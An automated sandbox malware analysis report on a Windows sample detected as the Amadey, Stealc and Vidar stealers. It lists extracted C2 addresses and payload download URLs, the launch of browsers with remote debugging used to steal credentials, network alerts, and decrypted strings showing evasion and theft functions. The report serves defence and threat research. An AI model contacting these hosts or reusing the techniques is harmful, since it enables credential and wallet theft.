Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570530
MD5:	63f084ebdc49fddd2a095cee8789c100
SHA1:	35af18c8a7530a0cc91b78eead8fdaf1a2aaf76c
SHA256:	87581709e2bcf76b426a1281f395726f3816643734a5f36df6e4e3bb009af4cf
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 828 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 63F084EBDC49FDDD2A095CEE8789C100)

chrome.exe (PID: 5160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2188,i,6661159212943075951,5732538178884373032,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2460,i,15555307753456093971,14081396310423305561,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 360 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GCGHCBKFCF.exe (PID: 4676 cmdline: "C:\Users\user\Documents\GCGHCBKFCF.exe" MD5: 437E5B85872F6D993B380398E86F4A3F)

skotes.exe (PID: 6456 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 437E5B85872F6D993B380398E86F4A3F)

msedge.exe (PID: 3652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4308 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2304,i,17772783766471260241,16238618650825771522,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 5496 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 437E5B85872F6D993B380398E86F4A3F)

skotes.exe (PID: 3780 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 437E5B85872F6D993B380398E86F4A3F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.2658517829.0000000000571000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2588399898.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.3291607634.0000000000571000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2658671788.0000000000571000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2622128574.0000000000A21000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 828	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 828	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 828	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
17.2.skotes.exe.570000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.570000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.GCGHCBKFCF.exe.a20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.570000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.dd0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.file.exe.dd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 828, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5160, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:06.595282+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:06.474080+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:06.919779+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:08.394947+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:07.044182+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:06.028448+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:45:05.771398+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49971	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:42:58.105471+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49977	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T08:43:09.075855+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-07T08:43:35.538522+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:37.402416+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:38.686671+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:39.811379+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:43.509737+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:44.552984+0100	2803304	3	Unknown Traffic	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:50.033992+0100	2803304	3	Unknown Traffic	192.168.2.5	49795	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllN	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpbr	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exe#	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpAUr	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpJr	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpSU	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllb	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllp	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpO#	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php~r	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/FX	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpDE	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000F.00000002.2658517829.0000000000571000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/68b591d6548ec281/nss3.dll$	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.16/mine/random.exe#	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllN	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.43/Zu7JuNko/index.phpbr	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 07
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 01
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 25
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: drum
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: InternetCrackUrlA
